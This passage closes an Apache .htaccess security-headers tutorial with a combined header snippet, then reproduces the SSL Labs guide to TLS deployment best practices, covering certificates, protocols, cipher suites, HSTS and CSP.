So for any of these examples, when added to your site’s .htaccess file or server configuration file, the code tells supportive browsers which dynamic resources are allowed and/or not allowed. But seriously, if you’re thinking about adding the powerful Content-Security-Policy security header, take a few moments to read thru some of the documentation:

Where to get help with CSP

Yes CSP can be confusing, but there is no reason to despair. There are numerous online tools that make it easier to figure out how to implement CSP, for example here are some top sites:

A quick search for “csp test online” yields many results.

Even better, they now have “CSP generators” that literally write the code for you based on your input variables. Here are two solid looking CSP generators:

There are lots of useful tools out there to make CSP easier. Just enter your infos and copy/paste the results. If in doubt, use multiple tools and compare the results; the code should be the same. If not, don’t hesitate to reach out to the tool providers, who will be able to answer any questions, etc.

All Together

For the sake of easy copy/pasting, here is a code snippet that combines all of the above-described security headers.

Important: before adding this code to your site, make sure to read through each technique as explained in corresponding sections above. There may be important notes and information that you need to understand regarding each particular directive included in this code snippet.

# Security Headers
<IfModule mod_headers.c>
	Header set X-XSS-Protection "1; mode=block"
	Header set X-Frame-Options "SAMEORIGIN"
	Header set X-Content-Type-Options "nosniff"
	Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains"
	# Header set Content-Security-Policy ...
	Header set Referrer-Policy "same-origin"
	Header set Feature-Policy "geolocation 'self'; vibrate 'none'"
</IfModule>

As with each of the above techniques, this code may be added to your site via .htaccess or Apache config. Understand that this technique includes commonly used configurations for each of the included headers. You can (and should) go through each one to make sure that the configuration matches the requirements and goals of your site. Also remember to test thoroughly before going live.

Note: Notice the following line in the above “Security Headers” code snippet:

# Header set Content-Security-Policy ...

The pound sign or hash tag or whatever you want to call it means that the line is disabled and is ignored by the server. This means that the Content-Security-Policy directive is “commented out” and thus not active in this technique. Why? Because as explained previously, there is no recommended “one-size-fits-all” CSP example that works perfectly in all websites. Instead, you will need to replace the commented out line with your own properly configured CSP header, as explained above.

SSL and TLS Deployment Best Practices

Version 1.6-draft (15 January 2020)

SSL/TLS is a deceptively simple technology. It is easy to deploy, and it just works–except when it does not. The main problem is that encryption is not often easy to deploy correctly. To ensure that TLS provides the necessary security, system administrators and developers must put extra effort into properly configuring their servers and developing their applications.

In 2009, we began our work on SSL Labs because we wanted to understand how TLS was used and to remedy the lack of easy-to-use TLS tools and documentation. We have achieved some of our goals through our global surveys of TLS usage, as well as the online assessment tool, but the lack of documentation is still evident. This document is a step toward addressing that problem.

Our aim here is to provide clear and concise instructions to help overworked administrators and programmers spend the minimum time possible to deploy a secure site or web application. In pursuit of clarity, we sacrifice completeness, foregoing certain advanced topics. The focus is on advice that is practical and easy to follow. For those who want more information, Section 6 gives useful pointers.

1 Private Key and Certificate

In TLS, all security starts with the server’s cryptographic identity; a strong private key is needed to prevent attackers from carrying out impersonation attacks. Equally important is to have a valid and strong certificate, which grants the private key the right to represent a particular hostname. Without these two fundamental building blocks, nothing else can be secure.

1.1 Use 2048-Bit Private Keys

For most web sites, security provided by 2,048-bit RSA keys is sufficient. The RSA public key algorithm is widely supported, which makes keys of this type a safe default choice. At 2,048 bits, such keys provide about 112 bits of security. If you want more security than this, note that RSA keys don’t scale very well. To get 128 bits of security, you need 3,072-bit RSA keys, which are noticeably slower. ECDSA keys provide an alternative that offers better security and better performance. At 256 bits, ECDSA keys provide 128 bits of security. A small number of older clients don’t support ECDSA, but modern clients do. It’s possible to get the best of both worlds and deploy with RSA and ECDSA keys simultaneously if you don’t mind the overhead of managing such a setup.

1.2 Protect Private Keys

Treat your private keys as an important asset, restricting access to the smallest possible group of employees while still keeping your arrangements practical. Recommended policies include the following:

  • Generate private keys on a trusted computer with sufficient entropy. Some CAs offer to generate private keys for you; run away from them.
  • Password-protect keys from the start to prevent compromise when they are stored in backup systems. Private key passwords don’t help much in production because a knowledgeable attacker can always retrieve the keys from process memory. There are hardware devices (called Hardware Security Modules, or HSMs) that can protect private keys even in the case of server compromise, but they are expensive and thus justifiable only for organizations with strict security requirements.
  • After compromise, revoke old certificates and generate new keys.
  • Renew certificates yearly, and more often if you can automate the process. Most sites should assume that a compromised certificate will be impossible to revoke reliably; certificates with shorter lifespans are therefore more secure in practice.
  • Unless keeping the same keys is important for public key pinning, you should also generate new private keys whenever you’re getting a new certificate.

1.3 Ensure Sufficient Hostname Coverage

Ensure that your certificates cover all the names you wish to use with a site. Your goal is to avoid invalid certificate warnings, which confuse users and weaken their confidence.

Even when you expect to use only one domain name, remember that you cannot control how your users arrive at the site or how others link to it. In most cases, you should ensure that the certificate works with and without the www prefix (e.g., that it works for both example.com and www.example.com). The rule of thumb is that a secure web server should have a certificate that is valid for every DNS name configured to point to it.

Wildcard certificates have their uses, but avoid using them if it means exposing the underlying keys to a much larger group of people, and especially if doing so crosses team or department boundaries. In other words, the fewer people there are with access to the private keys, the better. Also be aware that certificate sharing creates a bond that can be abused to transfer vulnerabilities from one web site or server to all other sites and servers that use the same certificate (even when the underlying private keys are different).

Make sure you add all the necessary domain names to Subject Alternative Name (SAN) since all the latest browsers do not check for Common Name for validation

1.4 Obtain Certificates from a Reliable CA

Select a Certification Authority (CA) that is reliable and serious about its certificate business and security. Consider the following criteria when selecting your CA:

Security posture All CAs undergo regular audits, but some are more serious about security than others. Figuring out which ones are better in this respect is not easy, but one option is to examine their security history, and, more important, how they have reacted to compromises and if they have learned from their mistakes.

Business focus CAs whose activities constitute a substantial part of their business have everything to lose if something goes terribly wrong, and they probably won’t neglect their certificate division by chasing potentially more lucrative opportunities elsewhere.

Services offered At a minimum, your selected CA should provide support for both Certificate Revocation List (CRL) and Online Certificate Status Protocol (OCSP) revocation methods, with rock-solid network availability and performance. Many sites are happy with domain-validated certificates, but you also should consider if you’ll ever require Extended Validation (EV) certificates. In either case, you should have a choice of public key algorithm. Most web sites use RSA today, but ECDSA may become important in the future because of its performance advantages.

Certificate management options If you need a large number of certificates and operate in a complex environment, choose a CA that will give you good tools to manage them.

Support Choose a CA that will give you good support if and when you need it.

Note

For best results, acquire your certificates well in advance and at least one week before deploying them to production. This practice (1) helps avoid certificate warnings for some users who don’t have the correct time on their computers and (2) helps avoid failed revocation checks with CAs who need extra time to propagate new certificates as valid to their OCSP responders. Over time, try to extend this “warm-up” period to 1-3 months. Similarly, don’t wait until your certificates are about to expire to replace them. Leaving an extra several months there would similarly help with people whose clocks are incorrect in the other direction.

1.5 Use Strong Certificate Signature Algorithms

Certificate security depends (1) on the strength of the private key that was used to sign the certificate and (2) the strength of the hashing function used in the signature. Until recently, most certificates relied on the SHA1 hashing function, which is now considered insecure. As a result, we’re currently in transition to SHA256. As of January 2016, you shouldn’t be able to get a SHA1 certificate from a public CA. Leaf and intermediate certificates having SHA1 hashing signature are now considered insecure by browser.

1.6 Use DNS CAA

DNS CAA[8] is a standard that allows domain name owners to restrict which CAs can issue certificates for their domains. In September 2017, CA/Browser Forum mandated CAA support as part of its certificate issuance standard baseline requirements. With CAA in place, the attack surface for fraudulent certificates is reduced, effectively making sites more secure. If the CAs have automated process in place for issuance of certificates, then it should check for DNS CAA record as this would reduce the improper issuance of certificates.

It is recommended to whitelist a CA by adding a CAA record for your certificate. Add CA’s which you trust for issuing you a certificate.

2 Configuration

With correct TLS server configuration, you ensure that your credentials are properly presented to the site’s visitors, that only secure cryptographic primitives are used, and that all known weaknesses are mitigated.

2.1 Use Complete Certificate Chains

In most deployments, the server certificate alone is insufficient; two or more certificates are needed to build a complete chain of trust. A common configuration problem occurs when deploying a server with a valid certificate, but without all the necessary intermediate certificates. To avoid this situation, simply use all the certificates provided to you by your CA in the same sequence.

An invalid certificate chain effectively renders the server certificate invalid and results in browser warnings. In practice, this problem is sometimes difficult to diagnose because some browsers can reconstruct incomplete chains and some can’t. All browsers tend to cache and reuse intermediate certificates.

2.2 Use Secure Protocols

There are six protocols in the SSL/TLS family: SSL v2, SSL v3, TLS v1.0, TLS v1.1, TLS v1.2, and TLS v1.3:

  • SSL v2 is insecure and must not be used. This protocol version is so bad that it can be used to attack RSA keys and sites with the same name even if they are on an entirely different servers (the DROWN attack).
  • SSL v3 is insecure when used with HTTP (the SSLv3 POODLE attack) and weak when used with other protocols. It’s also obsolete and shouldn’t be used.
  • TLS v1.0 and TLS v1.1 are legacy protocol that shouldn’t be used, but it’s typically still necessary in practice. Its major weakness (BEAST) has been mitigated in modern browsers, but other problems remain. TLS v1.0 has been deprecated by PCI DSS. Similarly, TLS v1.0 and TLS v1.1 has been deprecated in January 2020 by modern browsers. Check the SSL Labs blog link
  • TLS v1.2 and v1.3 are both without known security issues.

TLS v1.2 or TLS v1.3 should be your main protocol because these version offers modern authenticated encryption (also known as AEAD). If you don’t support TLS v1.2 or TLS v1.3 today, your security is lacking.

In order to support older clients, you may need to continue to support TLS v1.0 and TLS v1.1 for now. However, you should plan to retire TLS v1.0 and TLS v1.1 in the near future. For example, the PCI DSS standard will require all sites that accept credit card payments to remove support for TLS v1.0 by June 2018. Similarly, modern browsers will remove the support for TLS v1.0 and TLS v1.1 by January 2020.

Benefits of using TLS v1.3:

  • Improved performance i.e improved latency
  • Improved security
  • Removed obsolete/insecure features like cipher suites, compression etc.

2.3 Use Secure Cipher Suites

To communicate securely, you must first ascertain that you are communicating directly with the desired party (and not through someone else who will eavesdrop) and exchanging data securely. In SSL and TLS, cipher suites define how secure communication takes place. They are composed from varying building blocks with the idea of achieving security through diversity. If one of the building blocks is found to be weak or insecure, you should be able to switch to another.

You should rely chiefly on the AEAD suites that provide strong authentication and key exchange, forward secrecy, and encryption of at least 128 bits. Some other, weaker suites may still be supported, provided they are negotiated only with older clients that don’t support anything better.

There are several obsolete cryptographic primitives that must be avoided:

  • Anonymous Diffie-Hellman (ADH) suites do not provide authentication.
  • NULL cipher suites provide no encryption.
  • Export cipher suites are insecure when negotiated in a connection, but they can also be used against a server that prefers stronger suites (the FREAK attack).
  • Suites with weak ciphers (112 bits or less) use encryption that can easily be broken are insecure.
  • RC4 is insecure.
  • 64-bit block cipher (3DES / DES / RC2 / IDEA) are weak.
  • Cipher suites with RSA key exchange are weak i.e. TLS_RSA

There are several cipher suites that must be preferred:

  • AEAD (Authenticated Encryption with Associated Data) cipher suites – CHACHA20_POLY1305, GCM and CCM
  • PFS (Perfect Forward Secrecy) ciphers – ECDHE_RSA, ECDHE_ECDSA, DHE_RSA, DHE_DSS, CECPQ1 and all TLS 1.3 ciphers

Use the following suite configuration, designed for both RSA and ECDSA keys, as your starting point:

TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_CBC_SHA
TLS_DHE_RSA_WITH_AES_256_CBC_SHA
TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
TLS_DHE_RSA_WITH_AES_256_CBC_SHA256

Warning

We recommend that you always first test your TLS configuration in a staging environment, transferring the changes to the production environment only when certain that everything works as expected. Please note that the above is a generic list and that not all systems (especially the older ones) support all the suites. That’s why it’s important to test first.

The above example configuration uses standard TLS suite names. Some platforms use nonstandard names; please refer to the documentation for your platform for more details. For example, the following suite names would be used with OpenSSL:

ECDHE-ECDSA-AES128-GCM-SHA256
ECDHE-ECDSA-AES256-GCM-SHA384
ECDHE-ECDSA-AES128-SHA
ECDHE-ECDSA-AES256-SHA
ECDHE-ECDSA-AES128-SHA256
ECDHE-ECDSA-AES256-SHA384
ECDHE-RSA-AES128-GCM-SHA256
ECDHE-RSA-AES256-GCM-SHA384
ECDHE-RSA-AES128-SHA
ECDHE-RSA-AES256-SHA
ECDHE-RSA-AES128-SHA256
ECDHE-RSA-AES256-SHA384
DHE-RSA-AES128-GCM-SHA256
DHE-RSA-AES256-GCM-SHA384
DHE-RSA-AES128-SHA
DHE-RSA-AES256-SHA
DHE-RSA-AES128-SHA256
DHE-RSA-AES256-SHA256

2.4 Select Best Cipher Suites

In SSL v3 and later protocol versions, clients submit a list of cipher suites that they support, and servers choose one suite from the list to use for the connection. Not all servers do this well, however; some will select the first supported suite from the client’s list. Having servers actively select the best available cipher suite is critical for achieving the best security.

2.5 Use Forward Secrecy

Forward secrecy (sometimes also called perfect forward secrecy) is a protocol feature that enables secure conversations that are not dependent on the server’s private key. With cipher suites that do not provide forward secrecy, someone who can recover a server’s private key can decrypt all earlier recorded encrypted conversations. You need to support and prefer ECDHE suites in order to enable forward secrecy with modern web browsers. To support a wider range of clients, you should also use DHE suites as fallback after ECDHE. Avoid the RSA key exchange unless absolutely necessary. My proposed default configuration in Section 2.3 contains only suites that provide forward secrecy.

2.6 Use Strong Key Exchange

For the key exchange, public sites can typically choose between the classic ephemeral Diffie-Hellman key exchange (DHE) and its elliptic curve variant, ECDHE. There are other key exchange algorithms, but they’re generally insecure in one way or another. The RSA key exchange is still very popular, but it doesn’t provide forward secrecy.

In 2015, a group of researchers published new attacks against DHE; their work is known as the Logjam attack.[2] The researchers discovered that lower-strength DH key exchanges (e.g., 768 bits) can easily be broken and that some well-known 1,024-bit DH groups can be broken by state agencies. To be on the safe side, if deploying DHE, configure it with at least 2,048 bits of security. Some older clients (e.g., Java 6) might not support this level of strength. For performance reasons, most servers should prefer ECDHE, which is both stronger and faster. The secp256r1 named curve (also known as P-256) is a good choice in this case.

2.7 Mitigate Known Problems

There have been several serious attacks against SSL and TLS in recent years, but they should generally not concern you if you’re running up-to-date software and following the advice in this guide. (If you’re not, I’d advise testing your systems using SSL Labs and taking it from there.) However, nothing is perfectly secure, which is why it is a good practice to keep an eye on what happens in security. Promptly apply vendor patches if and when they become available; otherwise, rely on workarounds for mitigation.

3 Performance

Security is our main focus in this guide, but we must also pay attention to performance; a secure service that does not satisfy performance criteria will no doubt be dropped. With proper configuration, TLS can be quite fast. With modern protocols—for example, HTTP/2—it might even be faster than plaintext communication.

3.1 Avoid Too Much Security

The cryptographic handshake, which is used to establish secure connections, is an operation for which the cost is highly influenced by private key size. Using a key that is too short is insecure, but using a key that is too long will result in “too much” security and slow operation. For most web sites, using RSA keys stronger than 2,048 bits and ECDSA keys stronger than 256 bits is a waste of CPU power and might impair user experience. Similarly, there is little benefit to increasing the strength of the ephemeral key exchange beyond 2,048 bits for DHE and 256 bits for ECDHE. There are no clear benefits of using encryption above 128 bits.

3.2 Use Session Resumption

Session resumption is a performance-optimization technique that makes it possible to save the results of costly cryptographic operations and to reuse them for a period of time. A disabled or nonfunctional session resumption mechanism may introduce a significant performance penalty.

3.3 Use WAN Optimization and HTTP/2

These days, TLS overhead doesn’t come from CPU-hungry cryptographic operations, but from network latency. A TLS handshake, which can start only after the TCP handshake completes, requires a further exchange of packets and is more expensive the further away you are from the server. The best way to minimize latency is to avoid creating new connections—in other words, to keep existing connections open for a long time (keep-alives). Other techniques that provide good results include supporting modern protocols such as HTTP/2 and using WAN optimization (usually via content delivery networks).

3.4 Cache Public Content

When communicating over TLS, browsers might assume that all traffic is sensitive. They will typically use the memory to cache certain resources, but once you close the browser, all the content may be lost. To gain a performance boost and enable long-term caching of some resources, mark public resources (e.g., images) as public.

3.5 Use OCSP Stapling

OCSP stapling is an extension of the OCSP protocol that delivers revocation information as part of the TLS handshake, directly from the server. As a result, the client does not need to contact OCSP servers for out-of-band validation and the overall TLS connection time is significantly reduced. OCSP stapling is an important optimization technique, but you should be aware that not all web servers provide solid OCSP stapling implementations. Combined with a CA that has a slow or unreliable OCSP responder, such web servers might create performance issues. For best results, simulate failure conditions to see if they might impact your availability.

3.6 Use Fast Cryptographic Primitives

In addition to providing the best security, my recommended cipher suite configuration also provides the best performance. Whenever possible, use CPUs that support hardware-accelerated AES. After that, if you really want a further performance edge (probably not needed for most sites), consider using ECDSA keys.

4 HTTP and Application Security

The HTTP protocol and the surrounding platform for web application delivery continued to evolve rapidly after SSL was born. As a result of that evolution, the platform now contains features that can be used to defeat encryption. In this section, we list those features, along with ways to use them securely.

4.1 Encrypt Everything

The fact that encryption is optional is probably one of the biggest security problems today. We see the following problems:

  • No TLS on sites that need it
  • Sites that have TLS but that do not enforce it
  • Sites that mix TLS and non-TLS content, sometimes even within the same page
  • Sites with programming errors that subvert TLS

Although many of these problems can be mitigated if you know exactly what you’re doing, the only way to reliably protect web site communication is to enforce encryption throughout—without exception.

4.2 Eliminate Mixed Content

Mixed-content pages are those that are transmitted over TLS but include resources (e.g., JavaScript files, images, CSS files) that are not transmitted over TLS. Such pages are not secure. An active man-in-the-middle (MITM) attacker can piggyback on a single unprotected JavaScript resource, for example, and hijack the entire user session. Even if you follow the advice from the previous section and encrypt your entire web site, you might still end up retrieving some resources unencrypted from third-party web sites.

4.3 Understand and Acknowledge Third-Party Trust

Web sites often use third-party services activated via JavaScript code downloaded from another server. A good example of such a service is Google Analytics, which is used on large parts of the Web. Such inclusion of third-party code creates an implicit trust connection that effectively gives the other party full control over your web site. The third party may not be malicious, but large providers of such services are increasingly seen as targets. The reasoning is simple: if a large provider is compromised, the attacker is automatically given access to all the sites that depend on the service.

If you follow the advice from Section 4.2, at least your third-party links will be encrypted and thus safe from MITM attacks. However, you should go a step further than that: learn what services you use and remove them, replace them with safer alternatives, or accept the risk of their continued use. A new technology called subresource integrity (SRI) could be used to reduce the potential exposure via third-party resources.[3]

4.4 Secure Cookies

To be properly secure, a web site requires TLS, but also that all its cookies are explicitly marked as secure when they are created. Failure to secure the cookies makes it possible for an active MITM attacker to tease some information out through clever tricks, even on web sites that are 100% encrypted. For best results, consider adding cryptographic integrity validation or even encryption to your cookies.

4.5 Secure HTTP Compression

The 2012 CRIME attack showed that TLS compression can’t be implemented securely. The only solution was to disable TLS compression altogether. The following year, two further attack variations followed. TIME and BREACH focused on secrets in HTTP response bodies compressed using HTTP compression. Unlike TLS compression, HTTP compression is a necessity and can’t be turned off. Thus, to address these attacks, changes to application code need to be made.[4]

TIME and BREACH attacks are not easy to carry out, but if someone is motivated enough to use them, the impact is roughly equivalent to a successful Cross-Site Request Forgery (CSRF) attack.

4.6 Deploy HTTP Strict Transport Security

HTTP Strict Transport Security (HSTS) is a safety net for TLS. It was designed to ensure that security remains intact even in the case of configuration problems and implementation errors. To activate HSTS protection, you add a new response header to your web sites. After that, browsers that support HSTS (all modern browsers at this time) enforce it.

The goal of HSTS is simple: after activation, it does not allow any insecure communication with the web site that uses it. It achieves this goal by automatically converting all plaintext links to secure ones. As a bonus, it also disables click-through certificate warnings. (Certificate warnings are an indicator of an active MITM attack. Studies have shown that most users click through these warnings, so it is in your best interest to never allow them.)

Adding support for HSTS is the single most important improvement you can make for the TLS security of your web sites. New sites should always be designed with HSTS in mind and the old sites converted to support it wherever possible and as soon as possible. For best security, consider using HSTS preloading,[5] which embeds your HSTS configuration in modern browsers, making even the first connection to your site secure.

The following configuration example activates HSTS on the main hostname and all its subdomains for a period of one year, while also allowing preloading:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

4.7 Deploy Content Security Policy

Content Security Policy (CSP) is a security mechanism that web sites can use to restrict browser operation. Although initially designed to address Cross-Site Scripting (XSS), CSP is constantly evolving and supports features that are useful for enhancing TLS security. In particular, it can be used to restrict mixed content when it comes to third-party web sites, for which HSTS doesn’t help.

To deploy CSP to prevent third-party mixed content, use the following configuration:

Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval';
                         connect-src https: wss:

Note

This is not the best way to deploy CSP. In order to provide an example that doesn’t break anything except mixed content, I had to disable some of the default security features. Over time, as you learn more about CSP, you should change your policy to bring them back.

4.8 Do Not Cache Sensitive Content

All sensitive content must be communicated only to the intended parties and treated accordingly by all devices. Although proxies do not see encrypted traffic and cannot share content among users, the use of cloud-based application delivery platforms is increasing, which is why you need to be very careful when specifying what is public and what is not.

4.9 Consider Other Threats

TLS is designed to address only one aspect of security—confidentiality and integrity of the communication between you and your users—but there are many other threats that you need to deal with. In most cases, that means ensuring that your web site does not have other weaknesses.

5 Validation

With many configuration parameters available for tweaking, it is difficult to know in advance what impact certain changes will have. Further, changes are sometimes made accidentally; software upgrades can introduce changes silently. For that reason, we advise that you use a comprehensive SSL/TLS assessment tool initially to verify your configuration to ensure that you start out secure, and then periodically to ensure that you stay secure. For public web sites, we recommend the free SSL Labs server test.[6]

6 Advanced Topics

The following advanced topics are currently outside the scope of our guide. They require a deeper understanding of SSL/TLS and Public Key Infrastructure (PKI), and they are still being debated by experts.

6.1 Public Key Pinning

Public key pinning is designed to give web site operators the means to restrict which CAs can issue certificates for their web sites. This feature has been deployed by Google for some time now (hardcoded into their browser, Chrome) and has proven to be very useful in preventing attacks and making the public aware of them. In 2014, Firefox also added support for hardcoded pinning. A standard called Public Key Pinning Extension for HTTP[7] is now available. Public key pinning addresses the biggest weakness of PKI (the fact that any CA can issue a certificate for any web site), but it comes at a cost; deploying requires significant effort and expertise, and creates risk of losing control of your site (if you end up with invalid pinning configuration). You should consider pinning largely only if you’re managing a site that might be realistically attacked via a fraudulent certificate.

6.2 DNSSEC and DANE

Domain Name System Security Extensions (DNSSEC) is a set of technologies that add integrity to the domain name system. Today, an active network attacker can easily hijack any DNS request and forge arbitrary responses. With DNSSEC, all responses can be cryptographically tracked back to the DNS root. DNS-based Authentication of Named Entities (DANE) is a separate standard that builds on top of DNSSEC to provide bindings between DNS and TLS. DANE could be used to augment the security of the existing CA-based PKI ecosystem or bypass it altogether.

Even though not everyone agrees that DNSSEC is a good direction for the Internet, support for it continues to improve. Browsers don’t yet support either DNSSEC or DANE (preferring similar features provided by HSTS and HPKP instead), but there is some indication that they are starting to be used to improve the security of email delivery.

7 Changes

The first release of this guide was on 24 February 2012. This section tracks the document changes over time, starting with version 1.3.

Version 1.3 (17 September 2013)

The following changes were made in this version:

  • Recommend replacing 1024-bit certificates straight away.
  • Recommend against supporting SSL v3.
  • Remove the recommendation to use RC4 to mitigate the BEAST attack server-side.
  • Recommend that RC4 is disabled.
  • Recommend that 3DES is disabled in the near future.
  • Warn about the CRIME attack variations (TIME and BREACH).
  • Recommend supporting forward secrecy.
  • Add discussion of ECDSA certificates.

Version 1.4 (8 December 2014)

The following changes were made in this version:

  • Discuss SHA1 deprecation and recommend migrating to the SHA2 family.
  • Recommend that SSL v3 is disabled and mention the POODLE attack.
  • Expand Section 3.1 to cover the strength of the DHE and ECDHE key exchanges.
  • Recommend OCSP Stapling as a performance-improvement measure, promoting it to Section 3.5.

Version 1.5 (8 June 2016)

The following changes were made in this version:

  • Refreshed the entire document to keep up with the times.
  • Recommended use of authenticated cipher suites.
  • Spent more time discussing key exchange strength and the Logjam attack.
  • Removed the recommendation to disable client-initiated renegotiation. Modern software does this anyway, and it might be impossible or difficult to disable it with something older. At the same time, the DoS vector isn’t particularly strong. Overall, I feel it’s better to spend available resources fixing something else.
  • Added a warning about flaky OCSP stapling implementations.
  • Added mention of subresource integrity enforcement.
  • Added mention of cookie integrity validation and encryption.
  • Added mention of HSTS preloading.
  • Recommended using CSP for better handling of third-party mixed content.
  • Mentioned FREAK, Logjam, and DROWN attacks.
  • Removed the section that discussed mitigation of various TLS attacks, which are largely obsolete by now, especially if the advice presented here is followed. Moved discussion of CRIME variants into a new section.
  • Added a brief discussion of DNSSEC and DANE to the Advanced section.

Version 1.6 (15 January 2020)

The following changes were made in this version:

  • Refreshed the entire document to keep up with the times.
  • Added details to use SAN (Subject Alternative Names) since the Common Name is deprecated by latest browsers.
  • SHA1 signature deprecation for leaf and intermediate certificate
  • Added DNS CAA information, recommened the use of it.
  • Added information about the extra download of missing intermediate certificate and the sequence of it.
  • Recommended the use of TLS 1.3
  • Recommended not to use the legacy protocol TLS v1.0 and TLS v1.1
  • Improved the secure cipher suites section with more information and newly discovered weak/insecure cipher.
  • Updated HSTS preload footnotes link.

Acknowledgments

Special thanks to Marsh Ray, Nasko Oskov, Adrian F. Dimcev, and Ryan Hurst for their valuable feedback and help in crafting the initial version of this document. Also thanks to many others who generously share their knowledge of security and cryptography with the world. The guidelines presented here draw on the work of the entire security community.

About SSL Labs

SSL Labs (www.ssllabs.com) is Qualys’s research effort to understand SSL/TLS and PKI as well as to provide tools and documentation to assist with assessment and configuration. Since 2009, when SSL Labs was launched, hundreds of thousands of assessments have been performed using the free online assessment tool. Other projects run by SSL Labs include periodic Internet-wide surveys of TLS configuration and SSL Pulse, a monthly scan of about 150,000 most popular TLS-enabled web sites in the world.

About Qualys

Qualys, Inc. (NASDAQ: QLYS) is a pioneer and leading provider of cloud-based security and compliance solutions with over 9,300 customers in more than 100 countries, including a majority of each of the Forbes Global 100 and Fortune 100. The Qualys Cloud Platform and integrated suite of solutions help organizations simplify security operations and lower the cost of compliance by delivering critical security intelligence on demand and automating the full spectrum of auditing, compliance and protection for IT systems and web applications. Founded in 1999, Qualys has established strategic partnerships with leading managed service providers and consulting organizations including Accenture, BT, Cognizant Technology Solutions, Deutsche Telekom, Fujitsu, HCL, HP Enterprise, IBM, Infosys, NTT, Optiv, SecureWorks, Tata Communications, Verizon and Wipro. The company is also a founding member of the Cloud Security Alliance (CSA). For more information, please visit www.qualys.com.

[1] Transport Layer Security (TLS) Parameters (IANA, retrieved 18 March 2016)

[2] Weak Diffie-Hellman and the Logjam Attack (retrieved 16 March 2016)

[3] Subresource Integrity (Mozilla Developer Network, retrieved 16 March 2016)

[4] Defending against the BREACH Attack (Qualys Security Labs; 7 August 2013)

[5] HSTS Preload List (Google developers, retrieved 16 March 2016)

[6] SSL Labs (retrieved 16 March 2016)

[7] RFC 7469: Public Key Pinning Extension for HTTP (Evans et al, April 2015)

[8] RFC 6844: DNS CAA (Evans et al, January 2013)

Source :
https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices